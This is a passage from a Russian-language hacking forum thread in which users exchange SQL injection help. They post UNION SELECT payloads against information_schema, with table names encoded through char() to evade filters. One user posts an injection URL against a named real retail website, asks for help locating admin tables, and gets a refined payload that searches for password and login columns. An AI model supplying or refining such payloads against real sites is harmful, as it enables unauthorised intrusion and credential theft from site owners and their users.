23.01.2009, 21:36
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
К чему ещё один "велосипед"?
К тому же, пару страниц назад Sabe скинул ссылку на сайт, который "энкодит слово в чар", причем можно энкодить как для MySQL, так и для MSSQL и Oracle.
|
|
|
23.01.2009, 21:40
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
Хорошо, если бы ты ещё предусмотрел переключатель - MySQL, MSSQL, Oracle... Цены бы тебе не было!
Посмотрим.. Это для мускуля было.
|
|
|
|
23.01.2009, 21:41
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
К тому же, пару страниц назад Sabe скинул ссылку на сайт, который "энкодит слово в чар", причем можно энкодить как для MySQL, так и для MSSQL и Oracle.
Это гуд, не искал, знач мну писать не надо, но для себя потренируюсь.
|
|
|
|
23.01.2009, 22:35
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
идиотством страдаю,пока на все 100% не закреплю ,дальше не пойду)
http://localhost/view_cat.php?cat=-1+union+select+1,column_name,3,4,5,6,7,8,9+from+in formation_schema.columns+where+column_name=char(97 ,100,100,101,100,114,101,113,117,101,115,116,115)+ limit+1,1
Точно знаю, что в таблице есть строки
addedrequests-название таблицы
но выводит,что запрос прошел,однако данных нет!
Последний раз редактировалось kevmen; 23.01.2009 в 22:40..
|
|
|
|
23.01.2009, 22:53
|
|
Познающий
Регистрация: 02.01.2009
Сообщений: 55
С нами:
9133681
Репутация:
90
|
|
kevmen
переведи свой запрос, у тебя получается вывести названия строк где имя строки char(97 ,100,100,101,100,114,101,113,117,101,115,116,115), а тебе надо вывести названия строк, где имя таблицы char(97 ,100,100,101,100,114,101,113,117,101,115,116,115)
http://localhost/view_cat.php?cat=-1+union+select+1,column_name,3,4,5,6,7,8,9+from+in formation_schema.columns+where+table_name=char(97 ,100,100,101,100,114,101,113,117,101,115,116,115)+ limit+1,1
|
|
|
|
23.01.2009, 22:40
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
kevmen А может всё-же почитать что-то нужно? Статьи ведь пишут не для того, что-бы сдесь их по новой всем индивидуально перессказывать
http://localhost/view_cat.php?cat=-1+union+select+1,column_name,3,4,5,6,7,8,9+from+in formation_schema.columns+where+column_name=char(97 ,100,100,101,100,114,101,113,117,101,115,116,115)+ limit+1,1
Столбец, из шемы, где столбец. Видимо ты хотел написать, +where+table_name='имя_таблицы'
Последний раз редактировалось jokester; 23.01.2009 в 22:46..
|
|
|
|
23.01.2009, 22:41
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
jokester
ЧитаЛ
Читаю вот
https://forum.antichat.ru/showpost.php?p=1051237&postcount=4597
и вот
http://forum.antichat.ru/thread43966.html
|
|
|
|
23.01.2009, 22:53
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
jokester,спасибо)Опять ступил
|
|
|
|
23.01.2009, 22:58
|
|
Познающий
Регистрация: 24.12.2008
Сообщений: 54
С нами:
9147012
Репутация:
9
|
|
http://www.technodom.kz/index.php?go=news&news=1+union+select+1,table_name ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+inf ormation_schema.tables+limit+80,1000&q=wNW616thoUB WHv3
Помогите найти админские таблицы, плз, запарился уже...
В Users админа нет...
Последний раз редактировалось Gemini12; 23.01.2009 в 23:00..
|
|
|
|
23.01.2009, 23:10
|
|
Познающий
Регистрация: 02.01.2009
Сообщений: 55
С нами:
9133681
Репутация:
90
|
|
Сообщение от Gemini12
Помогите найти админские таблицы, плз, запарился уже...
В Users админа нет...
попробуй составить запрос типа http://www.technodom.kz/index.php?go=news&news=1+union+select+1,table_name ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+inf ormation_schema.columns+where+column_name+like+cha r(37,112,97,115,115,37)&q=wNW616thoUBWHv3
запрос типа вывести все строки, где имеется словосочетание pass, попробуй вместо pass подставить login, name итд...
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
